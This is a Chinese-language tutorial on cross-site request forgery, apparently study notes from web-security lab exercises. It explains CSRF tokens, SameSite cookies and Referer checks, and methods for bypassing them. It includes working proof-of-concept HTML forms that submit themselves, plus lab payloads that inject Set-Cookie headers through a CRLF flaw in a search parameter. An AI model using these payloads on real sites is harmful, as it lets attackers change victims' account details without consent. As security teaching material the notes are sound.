CSRF基本
CSRF(Cross-Site Request Forgery)是一种利用Web应用身份验证机制的漏洞进行攻击的方式。
本质:利用浏览器自动携带cookie的特性,伪造用户请求
用户通过浏览器登录过一次某网站后,网站会给予一个cookie作为身份认证,该cookie由浏览器进行存放,当用户再次访问该网站时,浏览器会自动携带相应的cookie去发送请求,使用户不需要每次登录都输入账号密码。CSRF攻击,在恶意内容中构建表单(包含目标网站和它会执行的操作),诱导受害者访问恶意内容,浏览器在恶意内容中识别到针对目标网站的表单会自动携带受害者的cookie去执行。
CSRF攻击的三大必要条件
存在可被利用的操作
典型可攻击操作:
-
修改账户设置(邮箱/密码)
-
资金转账
-
发表内容/评论
-
权限变更操作
-
特征:这些操作会改变应用状态或用户数据
2.基于Cookie的会话管理
攻击依赖:浏览器会自动携带目标站点的Cookie
3.没有不可预测的请求参数
满足以上三个条件后,攻击者可以构建如下网页
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
表单元素
<form> 标签
属性解析:
action="https://vulnerable-website.com/email/change"
作用:指定表单提交的目标URL
安全意义:指向存在CSRF漏洞的端点
典型合法用法:应指向自己的域名或已验证的安全端点
method="POST"
作用:指定HTTP请求方法
安全意义:POST方法比GET更隐蔽但仍可被CSRF利用
防御建议:即使使用POST也需要CSRF防护
<input> 标签
属性解析:
type="hidden"
作用:创建不可见的输入字段
安全意义:常用于存储不应被用户修改的数据,但攻击者可轻易查看和修改
name="email"
作用:定义参数的名称
value="pwned@evil-user.net"
作用:设置字段的默认值
攻击用途:预设为攻击者控制的邮箱地址
3. 脚本元素
<script> 标签
作用:包含或引用JavaScript代码
代码解析:
document.forms[0].submit();
document.forms[0]:获取文档中的第一个表单
.submit():自动提交表单
攻击用途:无需用户交互即可触发表单提交
那么如果受害用户访问攻击者的网页,将发生以下情况:
-
攻击者的页面将触发对易受攻击网站的 HTTP 请求。
-
如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设未使用 SameSite cookie)。
-
易受攻击的网站将以正常方式处理请求,将其视为受害用户发出的请求,并更改他们的电子邮件地址。
注:
尽管 CSRF 通常与基于 cookie 的会话处理有关,但它也出现在应用程序自动向请求添加一些用户凭据的其他上下文中,例如 HTTP 基本身份验证和基于证书的身份验证。
针对 CSRF 的常见防御措施
CSRF tokens
CSRF 令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。尝试执行敏感作(例如提交表单)时,客户端必须在请求中包含正确的 CSRF 令牌,这使得攻击者很难代表受害者构建有效的请求。与客户端共享 CSRF 令牌的常见方法是将它们作为隐藏参数包含在 HTML 表单中。
token包含过程

只有直接访问目标页面才能拿到token,而受害者触发的恶意网站执行的是直接提交表单,都没有访问目标网站获取token那一步。
绕过该防御
可能绕过该防御的方法:
1.post–>get
当请求使用 POST 方法时,某些应用程序会正确验证令牌,但在使用 GET 方法时跳过验证。在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发动 CSRF 攻击。
2.删除令牌
CSRF 令牌的验证取决于令牌是否存在
某些应用程序在令牌存在时正确验证令牌,但如果省略令牌,则跳过验证。在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值)以绕过验证并发动 CSRF 攻击。
3.用自己的令牌代替
CSRF 令牌未绑定到用户会话
某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已颁发的令牌的全局池,并接受此池中出现的任何令牌。在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效的令牌,然后在 CSRF 攻击中将该令牌提供给受害用户。
4.用自己的csrfkey和令牌代替
在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 Cookie,但不绑定到用于跟踪会话的同一 Cookie。当应用程序使用两个不同的框架(一个用于会话处理,一个用于 CSRF 保护)时,很容易发生这种情况,它们没有集成在一起。这种情况更难利用,但仍然容易受到攻击。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能会进行攻击。攻击者可以使用自己的帐户登录应用程序,获取有效的令牌和关联的 cookie,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中将其令牌提供给受害者。
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
简单来说就是token(上述代码块中的csrf就是token)和cookie中的csrfKey绑定了,而不是和cookie中的session绑定,攻击者可以登录自己账户拿到自己的csrfkey和对应的token,然后把这俩都搞到受害者那里,如此发送请求后服务器验证的是token与csrfkey是否匹配(而不是token与session是否匹配),但事实上这俩虽然都不是受害者的,但的确匹配,验证成功,请求会被执行。
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action="https://0ac800e504adfc1f89adb1a1008d0010.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="77799 @web-security-academy.net" />
<input type="hidden" name="csrf" value="O0sMpQdzVAycIZUNhRAAEuN5OA7n7sf1" />
</form>
<img src="https://0a0f003b04965ba1812c2a6c008c002b.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=s3yf0fTZXTEqvdtChdOKluea6U2EAzIg%3b%20SameSite=None; Secure" οnerrοr="document.forms[0].submit()"> #academy的题,search查询有漏洞,就这样通过它直接把受害者的cookie里的csrfKey给改了,上边交的cookie和这个key是对应的,请求成功。 #加载图片失败就自动提交
</body>
</html>
5.同时篡改用户body和cookie中的令牌
CSRF 令牌只是在 cookie 中复制
在上述漏洞的进一步变体中,某些应用程序不维护已颁发令牌的任何服务器端记录,而是在 cookie 和请求参数中复制每个令牌。验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以提倡,是因为它易于实现并且避免了任何服务器端状态:
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获取自己的有效令牌。他们只是发明一个令牌(如果正在检查的话,也许是所需的格式),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器中,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。
简单来说就是用户提交请求时cookie里带个令牌(csrf),body里也带一个令牌,完事服务器验证一下这俩令牌一不一样,一样就验证通过。而攻击者都不用登自己号获得key和令牌了,ta直接把受害者cookie和body里的令牌全改了(随便改成什么只要两个一样就行),请求就能通过了。
<html>
<!– CSRF PoC – generated by Burp Suite Professional –>
<body>
<form action="https://0a32000a0341668c80a20343007c00b5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.net" />
<input type="hidden" name="csrf" value="fake" /> #给人家改成fake了
<input type="submit" value="Submit request" />
</form>
<img src="https://0a32000a0341668c80a20343007c00b5.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" οnerrοr="document.forms[0].submit();"/> #这也改成fake,俩一样,通过,既不用知道受害者本来的令牌,也不用找自己的令牌和key去取代
</body>
</html>
SameSite Cookie
SameSite 是一种浏览器安全机制,用于确定何时将网站的 Cookie 包含在来自其他网站的请求中。由于执行敏感作的请求通常需要经过身份验证的会话 Cookie,因此适当的 SameSite 限制可能会阻止攻击者跨站点触发这些作。自 2021 年起,Chrome 默认强制实施Lax SameSite 限制。由于这是拟议的标准,我们预计其他主要浏览器将来也会采用这种行为。
SameSite的三种模式
| Strict | 完全禁止跨站携带 | 极高敏感操作(如银行转账) |
| Lax | 仅允许顶级导航的GET请求携带(默认值) | 平衡安全与第三方集成需求 |
| None | 允许所有跨站携带(必须配合Secure属性) | 需要跨站功能的场景(如单点登录) |
(如果发布 Cookie 的网站未明确设置SameSite属性,Chrome 会默认自动应用Lax限制。)
Lax携带cookie条件:使用GET方法发起的请求;该请求是由用户进行顶级导航(例如单击链接)产生的(后台请求如由脚本、iframe 或对图像和其他资源的引用发起的请求,不携带cookie)。
当samesite被设置为none时,要求cookie带上secure属性,即只能在https协议中发送。
站点和源的区别
站点:<一级域名>.<顶级域名>,即 TLD(顶)+1(一)。
TLD包括:
• 纯TLD:`.com`、`.net` 等
• 国家代码TLD:`.co.uk`、`.com.cn` 等(需整体使用)
• 公共后缀(eTLD):`.github.io`、`.blogspot.com` 等(平台专用)
| URL A | URL B | 是否同站 |
| ————————– | ————————- | ——– |
| `https://example.com` | `http://example.com` | ✅ 是 |
| `https://example.com:443` | `https://example.com:444` | ✅ 是 |
| `https://shop.example.com` | `https://pay.example.com` | ✅ 是 |
| `https://a.github.io` | `https://b.github.io` | ❌ 否 |
源:<协议>://<域名>:<端口>
如果两个 URL 共享完全相同的方案、域名和端口,则它们被视为具有相同的来源。一个站点包含多个域名,而一个源仅包含一个域名。
| URL A | URL B |是否同源|是否同站|
| ————————– | ————————| ——– | ——– |
| `https://example.com` | `https://example.com` | ✅ | ✅ |
| `https://example.com` | `http://example.com` | ❌ | ✅ |
| `https://example.com:443` | `https://example.com:444` | ❌ | ✅ |
| `https://shop.example.com`| `https://pay.example.com` | ❌ | ✅ |
绕过该防御
1.用_method绕过LAX
LAX属性时会在GET请求中带上cookie,只要将本是post的请求转换为GET请求就可以实现攻击。
而敏感操作(如修改邮箱)一般强制使用post方法,攻击者可以将请求修改为GET,然后在参数中添加_method=POST,而服务器接受method=POST`参数覆盖实际GET方法,结果就是服务器错误地将其当作POST请求处理,但浏览器仍按GET规则携带Cookie。
2.客户端重定向
前提是存在与目标网站同站点且有重定向功能的网站
攻击者构造恶意链接
https://bank.com/redirect?url=https://bank.com/transfer?to=hacker&amount=1000
受害者从evil.com点击了这个链接
第一步:访问 bank.com/redirect
这是跨站请求(因为从 evil.com 发起的),所以,如果 Cookie 是 SameSite=Strict,浏览器不会带 Cookie。如果 Cookie 是 SameSite=Lax(默认),浏览器会带 Cookie(因为这是导航请求)。这一步无所谓。
第二步:bank.com/redirect 返回页面,执行客户端跳转,浏览器会执行跳转到 https://bank.com/transfer?to=hacker&amount=1000。此时浏览器认为这是同站请求(从 bank.com/redirect 跳转到 bank.com/transfer),所以会带上所有 Cookie(包括 SameSite=Strict 的 Cookie)。
基于 Referer 的验证
某些应用程序使用 HTTP Referer 标头来尝试防御 CSRF 攻击,通常是通过验证请求是否来自应用程序自己的域。这通常不如 CSRF tokens验证有效。
网硕互联帮助中心








评论前必须登录!
注册